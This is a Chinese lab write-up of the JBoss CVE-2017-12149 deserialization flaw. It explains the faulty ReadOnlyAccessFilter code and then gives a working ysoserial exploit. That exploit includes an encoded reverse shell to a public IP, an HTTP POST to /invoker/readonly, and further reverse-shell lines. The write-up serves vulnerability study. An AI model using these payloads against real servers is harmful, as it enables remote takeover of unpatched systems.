CVE-2017-12149 JBOSS反序列化漏洞

1. 介绍

  1. 使用vulhub对漏洞进行复现,可以查看其自带docker CVE-2017-12149的ReadMe,看大体漏洞流程
    代码源码下载地址:https://jbossas.jboss.org/downloads/

  2. jboss-_CVE-2017-12149-master 是检测、利用JBoss漏洞的工具,下载地址:https://github.com/yunxu1/jboss-_CVE-2017-12149

  3. CVE-2017-12149 JBOSS反序列化漏洞

2. 影响版本

  • Jboss AS 5.x

  • JbossAS 6.x

3. 漏洞分析

漏洞出现的原因是因为/invoker/readonly的过滤器没有写好,文件路径是:server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet,在这个路径下的ReadOnlyAccessFilter.class中。

这个过滤器在做过滤的时候没有做任何的校验,可以直接从http中获取数据,在没有进行检查或者过滤的情况下,尝试调用readobject()方法对数据流进行反序列操作,因此产生了Java反序列化漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest)request;
Principal user = httpRequest.getUserPrincipal();
if (user == null && this.readOnlyContext != null) {
ServletInputStream sis = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(sis);
MarshalledInvocation mi = null;

try {
mi = (MarshalledInvocation)ois.readObject();
} catch (ClassNotFoundException var10) {
throw new ServletException("Failed to read MarshalledInvocation", var10);
}

request.setAttribute("MarshalledInvocation", mi);
mi.setMethodMap(this.namingMethodMap);
Method m = mi.getMethod();
if (m != null) {
this.validateAccess(m, mi);
}
}

chain.doFilter(request, response);
}

4. 漏洞利用

1
2
3
java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDIuOTIuMjM0LzIxIDA+JjE=}|{base64,-d}|{bash,-i}" > poc

http post http://localhost:8080//invoker/readonly <poc

(1)关于CommonsCollections5的内容可以看之前写的笔记

(2)命令为什么要进行一次编码?
由于工具ysoserial 在处理数据时使用了Runtime.getRuntime().exec(String cmd),会调用Runtime.getRuntime().exec(String command, String[] envp, File dir),数据会被StringTokenizer分割。
StringTokenizer会对\t\n\r\f进行分割,因此我们输入的以下命令

1
bash -c `bash -i >& /dev/tcp/127.0.0.1/21 0>&1`

会被分隔如下命令

1
2
3
4
5
6
bash
-c
`bash
-i
>&
...

导致命令无法执行,因此我们需要先将待执行的命令进行一次编码。

在线网络打开 http://jackson-t.ca/runtime-exec-payloads.html 勾选Bash,在第一个文本框内输入bash -i >& /dev/tcp/172.16.12.2/6666 0>&1,下面的文档框会得到对应编码后的代码,复制备用。

Reference

https://www.cnblogs.com/yuzly/p/11240145.html
https://zhuanlan.zhihu.com/p/33532884
https://www.cnblogs.com/Oran9e/p/7897102.html
https://www.freebuf.com/articles/web/246737.html